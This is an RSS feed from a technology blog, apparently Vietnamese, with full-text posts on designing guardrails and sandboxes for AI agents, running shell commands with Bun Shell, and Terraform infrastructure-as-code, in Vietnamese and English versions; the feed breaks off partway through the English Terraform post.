<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>blog.dopana</title><description>Offshore Development, R&amp;D, Product Development, AI solutions và chia sẻ kiến thức công nghệ</description><link>https://dopana-blog.pages.dev</link><item><title>AI Harness Engineering: Đóng khung &amp; kiểm soát AI Agent</title><link>https://dopana-blog.pages.dev/blog/ai-harness-engineering</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ai-harness-engineering</guid><description>Khám phá AI Harness Engineering - phương pháp luận thiết kế hạ tầng, context và quy trình giám sát giúp AI Agent hoạt động an toàn và chính xác.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong làn sóng phát triển mạnh mẽ của các mô hình ngôn ngữ lớn (LLM), chúng ta đã chứng kiến sự chuyển dịch từ việc chỉ tương tác dạng Chat (Chatbot) sang việc xây dựng các AI Agent tự chủ — có khả năng tự lập kế hoạch, sử dụng công cụ (tool calling) và thực thi chuỗi công việc phức tạp.&lt;/p&gt;
&lt;p&gt;Tuy nhiên, thách thức lớn nhất khi đưa AI Agent vào hệ thống production không nằm ở việc mô hình thông minh đến đâu, mà ở tính vô định (non-deterministic), nguy cơ ảo giác (hallucination) và sự thiếu kiểm soát trong luồng thực thi. Đó là lý do khái niệm AI Harness Engineering (Kỹ thuật đóng khung và điều phối AI) ra đời.&lt;/p&gt;
&lt;h2&gt;AI Harness Engineering là gì?&lt;/h2&gt;
&lt;p&gt;Nếu Prompt Engineering tập trung vào việc tối ưu hóa câu từ để LLM trả lời tốt hơn, thì AI Harness Engineering nâng tầm lên cấp độ kiến trúc hệ thống.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI Harness (Khung điều phối AI) là toàn bộ hạ tầng bao bọc xung quanh LLM: bao gồm quản lý ngữ cảnh (context management), cơ chế cấp quyền và thực thi công cụ (tool harness), hệ thống kiểm duyệt an toàn (guardrails), bộ nhớ (memory), cùng luồng đánh giá và sửa lỗi tự động (eval &amp;#x26; feedback loop).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;+-------------------------------------------------------------------+
|                        AI HARNESS SYSTEM                          |
|                                                                   |
|  +-------------------+   +------------------+   +--------------+  |
|  | Context &amp;#x26; Memory  |   | Tool &amp;#x26; Execution |   | Guardrails   |  |
|  +-------------------+   +------------------+   +--------------+  |
|                                                                   |
|                  +--------------------------+                     |
|                  |      LLM CORE ENGINE     |                     |
|                  +--------------------------+                     |
|                                                                   |
|  +--------------------------+      +---------------------------+  |
|  | Feedback &amp;#x26; Eval Loop     |      | Sandbox Environment       |  |
|  +--------------------------+      +---------------------------+  |
+-------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Harness đóng vai trò như &quot;bộ khung gia cố&quot; giúp mô hình hoạt động ổn định trong một phạm vi an toàn, tuân thủ đúng quy trình kinh doanh của doanh nghiệp.&lt;/p&gt;
&lt;h2&gt;Các thành phần cốt lõi của một AI Harness&lt;/h2&gt;
&lt;h3&gt;1. Quản lý Context và Bộ nhớ (Context &amp;#x26; Memory Harnessing)&lt;/h3&gt;
&lt;p&gt;LLM bị giới hạn bởi cửa sổ ngữ cảnh (context window) và khả năng ghi nhớ dài hạn. Một Harness chuẩn mực cần giải quyết:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Context Pruning &amp;#x26; Compaction: Tự động lọc bỏ tin nhắn thừa, tóm tắt lịch sử hội thoại khi đạt giới hạn token.&lt;/li&gt;
&lt;li&gt;Dynamic Retrieval (RAG): Chỉ nạp những tài liệu, mã nguồn hoặc kiến thức liên quan trực tiếp đến tác vụ hiện tại.&lt;/li&gt;
&lt;li&gt;Episodic &amp;#x26; Semantic Memory: Lưu giữ thông tin quan trọng giữa các phiên làm việc riêng biệt.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Quản lý Công cụ &amp;#x26; Môi trường Thực thi (Tooling &amp;#x26; Sandbox)&lt;/h3&gt;
&lt;p&gt;Khi AI Agent được phép chạy shell script, truy vấn database hay gọi API, rủi ro an ninh là cực kỳ lớn.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sandbox cách ly: Mọi câu lệnh code hoặc shell từ Agent phải được thực thi trong Container (Docker/gVisor) hoặc WebAssembly sandbox cách ly hoàn toàn với máy chủ chính.&lt;/li&gt;
&lt;li&gt;Strict Schema Verification: Định nghĩa input/output của tool bằng JSON Schema chuẩn chỉ, từ chối thực thi ngay từ vòng ngoài nếu Agent truyền sai tham số.&lt;/li&gt;
&lt;li&gt;Human-in-the-loop (HITL): Cài đặt các điểm xác nhận (permission prompt) đối với các hành động nguy hiểm như xóa dữ liệu, gửi email hoặc ghi file cấu hình hệ thống.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
Đừng bao giờ cho phép AI Agent thực thi lệnh với quyền root hoặc truy cập trực tiếp database production mà không có lớp Harness kiểm duyệt và giới hạn scope.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3. Guardrails và Kiểm soát Luồng (Flow Control)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Deterministic Routing: Thay vì để LLM tự quyết định 100% luồng đi, Harness sử dụng State Machine (như LangGraph, Temporal) để ép Agent tuân theo một quy trình (graph) định sẵn.&lt;/li&gt;
&lt;li&gt;Output Validation: Sử dụng các thư viện như Pydantic, Zod để kiểm tra tính hợp lệ của dữ liệu đầu ra trước khi chuyển sang bước tiếp theo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Vòng lặp Tự sửa lỗi (Self-Correction &amp;#x26; Eval Loop)&lt;/h3&gt;
&lt;p&gt;Một điểm đặc trưng của Harness Engineering là khả năng feedback vòng lặp. Khi Agent gọi lệnh thất bại (ví dụ: lint error, syntax error, API 400):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Harness bắt lấy error log.&lt;/li&gt;
&lt;li&gt;Đóng gói lỗi kèm vị trí dòng mã nguồn thành tin nhắn phản hồi (Feedback message).&lt;/li&gt;
&lt;li&gt;Gửi lại cho LLM để LLM tự phân tích và đưa ra giải pháp sửa đổi ở lượt tiếp theo.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func ExecuteAgentStep(ctx context.Context, agent Agent, task Task) error {
    for attempt := 0; attempt &amp;#x3C; maxRetries; attempt++ {
        action, err := agent.Plan(ctx, task)
        if err != nil {
            return err
        }

        result, err := harness.ExecuteInSandbox(ctx, action)
        if err == nil {
            return nil // Thành công
        }

        // Harness tự động inject lỗi vào context để LLM sửa ở lượt sau
        task.AppendFeedback(fmt.Sprintf(&quot;Attempt %d failed: %v&quot;, attempt+1, err))
    }
    return fmt.Errorf(&quot;task failed after max retries&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sự khác biệt giữa Prompt Engineering và Harness Engineering&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Prompt Engineering | AI Harness Engineering |
|---|---|---|
| Trọng tâm | Tối ưu câu văn, kĩ thuật system prompt | Thiết kế hạ tầng, state machine, sandbox |
| Phạm vi | Đầu vào và đầu ra của 1 LLM call | Toàn bộ vòng đời ứng dụng AI (Multi-turn, Multi-agent) |
| Độ tin cậy | Thấp - Trung bình | Cao - Tuân thủ chuẩn phần mềm |
| Xử lý lỗi | Phụ thuộc vào khả năng tự nhận biết của LLM | Tự động bắt exception, rollback, retry và lặp feedback |&lt;/p&gt;
&lt;h2&gt;Tại sao Harness Engineering là tương lai của AI Software Development?&lt;/h2&gt;
&lt;p&gt;Khi các mô hình AI ngày càng rẻ và nhanh hơn, sự khác biệt giữa các ứng dụng AI không còn nằm ở việc chọn GPT-4o, Claude 3.5 Sonnet hay Gemini 1.5 Pro, mà nằm ở hệ thống Harness đi kèm.&lt;/p&gt;
&lt;p&gt;Một AI Harness xuất sắc giúp:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Giảm chi phí token: Nhờ cắt giảm context thông minh.&lt;/li&gt;
&lt;li&gt;Tăng tỷ lệ thành công (Success Rate): Nhờ vòng lặp tự sửa lỗi và ràng buộc quy trình nghiêm ngặt.&lt;/li&gt;
&lt;li&gt;An toàn bảo mật: Nhờ cơ chế sandbox và kiểm soát quyền truy cập chặt chẽ.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Tóm lại&lt;/h2&gt;
&lt;p&gt;AI Harness Engineering chính là cầu nối giữa sự linh hoạt ngẫu nhiên của Trí tuệ nhân tạo và tính chính xác kỷ luật của Kỹ thuật phần mềm truyền thống. Đã đến lúc chúng ta ngừng coi AI là một chiếc &quot;hộp đen thần kỳ&quot; và bắt đầu xây dựng những bộ khung (harness) vững chắc để điều khiển nó một cách an toàn và hiệu quả nhất.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/research/building-effective-agents&quot;&gt;Building Effective Agents - Anthropic Research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://langchain-ai.github.io/langgraph/&quot;&gt;LangGraph Documentation: State Machines for Agents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eugeneyan.com/writing/llm-patterns/&quot;&gt;Patterns for Building LLM-based Systems - Eugene Yan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>AI Harness Engineering: Governing &amp; Orchestrating Agents</title><link>https://dopana-blog.pages.dev/blog/ai-harness-engineering-guide</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ai-harness-engineering-guide</guid><description>Explore AI Harness Engineering - designing infrastructure, context management, tool sandboxing, and evaluation loops for reliable AI agents.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With the rapid evolution of Large Language Models (LLMs), we are witnessing a shift from passive conversational chatbots to autonomous AI Agents — systems capable of planning, tool calling, and executing complex workflows.&lt;/p&gt;
&lt;p&gt;However, the biggest challenge when deploying AI Agents to production isn&apos;t model intelligence; it is non-determinism, hallucinations, and unconstrained execution flows. This is why AI Harness Engineering has emerged as a crucial discipline.&lt;/p&gt;
&lt;h2&gt;What is AI Harness Engineering?&lt;/h2&gt;
&lt;p&gt;While Prompt Engineering focuses on optimizing instructions for better LLM outputs, AI Harness Engineering operates at the architectural level.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An AI Harness is the entire software infrastructure encapsulating an LLM: including context management, tool execution &amp;#x26; permission handling, safety guardrails, state memory, and automated evaluation/feedback loops.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;+-------------------------------------------------------------------+
|                        AI HARNESS SYSTEM                          |
|                                                                   |
|  +-------------------+   +------------------+   +--------------+  |
|  | Context &amp;#x26; Memory  |   | Tool &amp;#x26; Execution |   | Guardrails   |  |
|  +-------------------+   +------------------+   +--------------+  |
|                                                                   |
|                  +--------------------------+                     |
|                  |      LLM CORE ENGINE     |                     |
|                  +--------------------------+                     |
|                                                                   |
|  +--------------------------+      +---------------------------+  |
|  | Feedback &amp;#x26; Eval Loop     |      | Sandbox Environment       |  |
|  +--------------------------+      +---------------------------+  |
+-------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Harness acts as a protective scaffold, ensuring the model operates predictably within safe boundaries and adheres to business logic.&lt;/p&gt;
&lt;h2&gt;Core Components of an AI Harness&lt;/h2&gt;
&lt;h3&gt;1. Context and Memory Management&lt;/h3&gt;
&lt;p&gt;LLMs are constrained by context windows and lack persistent memory. A robust Harness addresses this through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Context Pruning &amp;#x26; Compaction: Automatically trimming obsolete turns and summarizing conversation history as token limits approach.&lt;/li&gt;
&lt;li&gt;Dynamic Retrieval (RAG): Injecting only relevant code snippets, docs, or domain knowledge for the current task step.&lt;/li&gt;
&lt;li&gt;Episodic &amp;#x26; Semantic Memory: Persisting key information across distinct sessions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Tooling and Execution Sandboxes&lt;/h3&gt;
&lt;p&gt;Allowing AI Agents to execute shell scripts, query databases, or call APIs presents severe security risks.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Isolated Sandboxing: Executing agent code and shell commands inside isolated Docker/gVisor containers or WebAssembly environments.&lt;/li&gt;
&lt;li&gt;Strict Schema Verification: Validating tool inputs/outputs via strict JSON Schemas, rejecting malformed requests prior to execution.&lt;/li&gt;
&lt;li&gt;Human-in-the-Loop (HITL): Requiring explicit user approval for destructive operations like database mutation or system config updates.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
Never grant AI Agents unconstrained root access or direct production database connections without a mediating Harness layer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3. Guardrails and Flow Control&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Deterministic Routing: Utilizing State Machines (e.g., LangGraph, Temporal) to enforce rigid workflow steps rather than relying solely on LLM decisions.&lt;/li&gt;
&lt;li&gt;Output Validation: Enforcing schema validation libraries like Pydantic or Zod on structured outputs before progressing downstream.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Self-Correction and Evaluation Loops&lt;/h3&gt;
&lt;p&gt;A key feature of Harness Engineering is the feedback loop. When an agent command fails (e.g., syntax errors, failed lints, HTTP 400):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Harness captures the raw error output.&lt;/li&gt;
&lt;li&gt;It packages the traceback and context into a structured feedback payload.&lt;/li&gt;
&lt;li&gt;It passes the feedback back to the LLM for automated self-diagnosis and retry.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func ExecuteAgentStep(ctx context.Context, agent Agent, task Task) error {
    for attempt := 0; attempt &amp;#x3C; maxRetries; attempt++ {
        action, err := agent.Plan(ctx, task)
        if err != nil {
            return err
        }

        result, err := harness.ExecuteInSandbox(ctx, action)
        if err == nil {
            return nil // Success
        }

        // Harness automatically injects runtime feedback for LLM retry
        task.AppendFeedback(fmt.Sprintf(&quot;Attempt %d failed: %v&quot;, attempt+1, err))
    }
    return fmt.Errorf(&quot;task failed after max retries&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prompt Engineering vs. Harness Engineering&lt;/h2&gt;
&lt;p&gt;| Aspect | Prompt Engineering | AI Harness Engineering |
|---|---|---|
| Focus | Input wording &amp;#x26; system prompts | Infrastructure, state machines, sandboxes |
| Scope | Single LLM invocation | Full multi-turn &amp;#x26; multi-agent lifecycle |
| Reliability | Low to Medium | High (software-grade determinism) |
| Error Handling | Relies on LLM self-awareness | Automated exception catching, retries &amp;#x26; feedback |&lt;/p&gt;
&lt;h2&gt;Why Harness Engineering is the Future of AI Software Development&lt;/h2&gt;
&lt;p&gt;As model costs drop and speeds increase, the primary differentiator between production AI applications is no longer whether you choose GPT-4o, Claude 3.5 Sonnet, or Gemini 1.5 Pro, but the Harness architecture governing them.&lt;/p&gt;
&lt;p&gt;An effective AI Harness delivers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reduced Token Costs: Through intelligent context compression.&lt;/li&gt;
&lt;li&gt;Higher Success Rates: Via automated self-correction loops and workflow constraints.&lt;/li&gt;
&lt;li&gt;Enterprise Security: Through sandboxed runtime isolation and strict access control.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;AI Harness Engineering bridges the gap between the probabilistic flexibility of Large Language Models and the deterministic rigor of traditional software engineering. To build robust AI products, we must move beyond viewing AI as a &quot;magic black box&quot; and invest in building sturdy harness systems around them.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/research/building-effective-agents&quot;&gt;Building Effective Agents - Anthropic Research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://langchain-ai.github.io/langgraph/&quot;&gt;LangGraph Documentation: State Machines for Agents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eugeneyan.com/writing/llm-patterns/&quot;&gt;Patterns for Building LLM-based Systems - Eugene Yan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Chạy lệnh Shell trong JavaScript với Bun Shell</title><link>https://dopana-blog.pages.dev/blog/chay-lenh-shell-voi-bun-shell</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/chay-lenh-shell-voi-bun-shell</guid><description>Hướng dẫn sử dụng Bun Shell để thực thi các lệnh Shell cross-platform trực tiếp trong JavaScript và TypeScript.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bun Shell là một shell tương thích cross-platform kiểu bash được tích hợp sẵn trong runtime Bun, giúp bạn thực thi các lệnh shell dễ dàng ngay bên trong JavaScript và TypeScript mà không cần phụ thuộc vào các công cụ bên ngoài.&lt;/p&gt;
&lt;h2&gt;Bắt đầu với Bun Shell&lt;/h2&gt;
&lt;p&gt;Để sử dụng Bun Shell, bạn chỉ cần import hàm &lt;code&gt;$&lt;/code&gt; từ package &lt;code&gt;bun&lt;/code&gt;. Hàm &lt;code&gt;$&lt;/code&gt; là một tagged template literal, chạy lệnh được truyền vào và trả về một &lt;code&gt;Promise&lt;/code&gt; chứa kết quả của lệnh đó.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { $ } from &quot;bun&quot;;

await $`echo Hello, world!`; // =&gt; &quot;Hello, world!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Đọc kết quả đầu ra (Output)&lt;/h2&gt;
&lt;p&gt;Bạn có thể sử dụng phương thức &lt;code&gt;.text()&lt;/code&gt; để lấy toàn bộ dữ liệu đầu ra dưới dạng chuỗi string:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { $ } from &quot;bun&quot;;

const output = await $`ls -l`.text();
console.log(output);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Duyệt từng dòng đầu ra với &lt;code&gt;lines()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Để lặp và xử lý từng dòng của kết quả trả về, bạn có thể sử dụng phương thức &lt;code&gt;.lines()&lt;/code&gt; kết hợp với vòng lặp &lt;code&gt;for await&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { $ } from &quot;bun&quot;;

for await (const line of $`ls -l`.lines()) {
  console.log(line);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.com/docs/runtime/shell&quot;&gt;Bun Shell Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.com/docs/llms.txt&quot;&gt;Bun Documentation Index&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Demystifying Infrastructure as Code: Terraform Deep Dive</title><link>https://dopana-blog.pages.dev/blog/demystifying-infrastructure-as-code-a-deep-dive-into-terraform</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/demystifying-infrastructure-as-code-a-deep-dive-into-terraform</guid><description>Khám phá Infrastructure as Code (IaC) với Terraform, nguyên lý hoạt động, kiến trúc Core vs Providers và tại sao đây là công cụ không thể thiếu trong DevOps.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong thế giới phát triển phần mềm và điện toán đám mây hiện đại, việc quản lý hạ tầng thủ công qua giao diện web console hoặc các script tùy chỉnh dễ lỗi đang dần trở thành quá khứ. &lt;strong&gt;Terraform&lt;/strong&gt;—công cụ chuẩn công nghiệp với mô hình nguồn mở/source-available—đã thay đổi hoàn toàn cách các đội ngũ kỹ thuật xây dựng, thay đổi và quản lý phiên bản hạ tầng đám mây.&lt;/p&gt;
&lt;p&gt;Dù bạn đang khởi tạo vài máy chủ trên AWS, điều phối các triển khai đa đám mây (multi-cloud) phức tạp, hay cấp phát các cụm Kubernetes nội bộ, Terraform của HashiCorp đều mang lại sự trật tự, khả năng dự đoán và tính an toàn cho việc quản lý hạ tầng.&lt;/p&gt;
&lt;p&gt;Hãy cùng tìm hiểu những yếu tố giúp Terraform trở thành công cụ thiết yếu trong bộ kỹ năng DevOps và khám phá cơ chế cốt lõi vận hành repository &lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;HashiCorp Terraform trên GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Terraform là gì?&lt;/h2&gt;
&lt;p&gt;Về bản chất, &lt;strong&gt;Terraform là một công cụ Infrastructure as Code (IaC)&lt;/strong&gt;. Nó cho phép bạn định nghĩa cả tài nguyên đám mây và on-premise bằng ngôn ngữ cấu hình cấp cao (HCL—HashiCorp Configuration Language).&lt;/p&gt;
&lt;p&gt;Thay vì phải click qua lại trên các dashboard của nhà cung cấp dịch vụ đám mây, bạn viết các tệp cấu hình khai báo (declarative) mô tả trạng thái mong muốn cuối cùng. Terraform sau đó sẽ tự động tính toán cách biến thực tế khớp với mã nguồn của bạn.&lt;/p&gt;
&lt;h3&gt;Các trụ cột chính của Terraform&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Declarative Configuration (Cấu hình khai báo):&lt;/strong&gt; Bạn mô tả &lt;em&gt;hạ tầng trông như thế nào&lt;/em&gt;, chứ không phải các lệnh shell từng bước để tạo ra nó. Terraform tự xử lý công việc nặng nhọc như gọi API, sắp xếp thứ tự phụ thuộc và xử lý lỗi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution Plans (Kế hoạch thực thi):&lt;/strong&gt; Trước khi thực hiện bất kỳ thay đổi nào, Terraform sẽ tạo ra một &quot;plan&quot;. Bước này đóng vai trò như một bản xem trước an toàn, hiển thị chính xác tài nguyên nào sẽ được tạo, cập nhật hoặc xóa khi bạn chạy &lt;code&gt;apply&lt;/code&gt;. Không còn những sự cố bất ngờ ngoài ý muốn!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource Graph (Đồ thị tài nguyên):&lt;/strong&gt; Terraform xây dựng một đồ thị phụ thuộc (dependency graph) phức tạp cho tất cả các tài nguyên được quản lý. Nó tự động xác định các tài nguyên độc lập để khởi tạo hoặc sửa đổi song song, giúp tốc độ triển khai nhanh hơn đáng kể.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Automation (Tự động hóa thay đổi):&lt;/strong&gt; Các tập thay đổi hạ tầng nhiều tầng phức tạp có thể được triển khai qua nhiều môi trường với sự can thiệp thủ công tối thiểu, giảm thiểu rủi ro do lỗi con người trong các đợt deployment ban đêm.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Bên dưới hậu trường: Core vs. Providers&lt;/h2&gt;
&lt;p&gt;Nếu quan sát repository &lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;Terraform trên GitHub&lt;/a&gt;, bạn sẽ nhận thấy phần lớn mã nguồn chứa &lt;strong&gt;Terraform Core&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Terraform Core&lt;/strong&gt; được viết bằng Go và chịu trách nhiệm xử lý giao diện dòng lệnh (CLI), engine đồ thị cốt lõi, suy diễn/nội suy (interpolation) và quản lý trạng thái (state management).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Providers&lt;/strong&gt; (như AWS, Azure, Google Cloud, Kubernetes, GitHub, v.v.) là các plugin được tách biệt hoàn toàn. Terraform tự động tải các provider này từ Terraform Registry khi cần, cho phép engine cốt lõi giao tiếp liền mạch với hàng nghìn API và dịch vụ khác nhau.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Tại sao các đội ngũ tin dùng Terraform?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quản lý phiên bản và hợp tác:&lt;/strong&gt; Vì hạ tầng được định nghĩa dưới dạng mã, bạn có thể đưa nó vào Git, kiểm duyệt thay đổi qua Pull Request, thử nghiệm các nhánh trên môi trường staging và rollback các bản cập nhật lỗi giống như mã nguồn ứng dụng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Khả năng Multi-Cloud:&lt;/strong&gt; Terraform không bị khóa chặt vào một hệ sinh thái duy nhất. Bạn có thể quản lý tài nguyên trên nhiều nhà cung cấp đám mây cùng lúc bằng một quy trình làm việc và cú pháp thống nhất.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tính Idempotency và Quản lý State:&lt;/strong&gt; Terraform theo dõi hạ tầng thực tế của bạn thông qua một &lt;em&gt;tệp state&lt;/em&gt; (state file). Điều này đảm bảo việc chạy cùng một cấu hình nhiều lần sẽ tạo ra cùng một trạng thái ổn định duy nhất, và chỉ áp dụng thay đổi khi phát hiện có sự sai lệch (drift).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Bắt đầu với Terraform&lt;/h2&gt;
&lt;p&gt;Nếu bạn muốn bắt đầu xây dựng hạ tầng ngay hôm nay:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Xem qua tài liệu chính thức tại &lt;a href=&quot;https://developer.hashicorp.com/terraform/docs&quot;&gt;Terraform Documentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Khám phá các hướng dẫn thực hành trên &lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials&quot;&gt;HashiCorp Learn Platform&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Phân tích mã nguồn, đóng góp hoặc theo dõi quá trình phát triển tại &lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;HashiCorp Terraform GitHub Repository&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bạn đã áp dụng Infrastructure as Code vào quy trình làm việc của mình chưa? Hãy chia sẻ cách bạn đang sử dụng Terraform trong các dự án ở phần thảo luận bên dưới!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;HashiCorp Terraform GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/docs&quot;&gt;Official Terraform Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials&quot;&gt;HashiCorp Developer Tutorials&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Demystifying Infrastructure as Code: Terraform Deep Dive</title><link>https://dopana-blog.pages.dev/blog/demystifying-infrastructure-as-code-terraform-deep-dive</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/demystifying-infrastructure-as-code-terraform-deep-dive</guid><description>Explore Infrastructure as Code (IaC) with Terraform, core concepts, Core vs. Providers architecture, and why it is essential for modern DevOps teams.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the modern world of software development and cloud computing, managing infrastructure manually via web consoles or fragile custom scripts is quickly becoming a thing of the past. Enter &lt;strong&gt;Terraform&lt;/strong&gt;—the industry-standard, source-available tool that has fundamentally changed how engineering teams build, change, and version cloud infrastructure.&lt;/p&gt;
&lt;p&gt;Whether you&apos;re spinning up a few servers in AWS, orchestrating complex multi-cloud deployments, or provisioning internal Kubernetes clusters, HashiCorp&apos;s Terraform brings order, predictability, and safety to infrastructure management.&lt;/p&gt;
&lt;p&gt;Let&apos;s take a look at what makes Terraform an essential tool in every DevOps toolkit and explore the core mechanics that drive the open-source &lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;HashiCorp Terraform GitHub repository&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;What is Terraform?&lt;/h2&gt;
&lt;p&gt;At its core, &lt;strong&gt;Terraform is an Infrastructure as Code (IaC) tool&lt;/strong&gt;. It allows you to define both cloud and on-premise resources using a high-level configuration language (HCL—HashiCorp Configuration Language).&lt;/p&gt;
&lt;p&gt;Instead of clicking through cloud provider dashboards, you write declarative configuration files that describe your desired end state. Terraform then figures out how to make reality match your code.&lt;/p&gt;
&lt;h3&gt;Key Pillars of Terraform&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Declarative Configuration:&lt;/strong&gt; You describe &lt;em&gt;what&lt;/em&gt; the infrastructure should look like, not the step-by-step shell commands required to build it. Terraform handles the heavy lifting of figuring out API calls, ordering, and error handling.&lt;/li&gt;
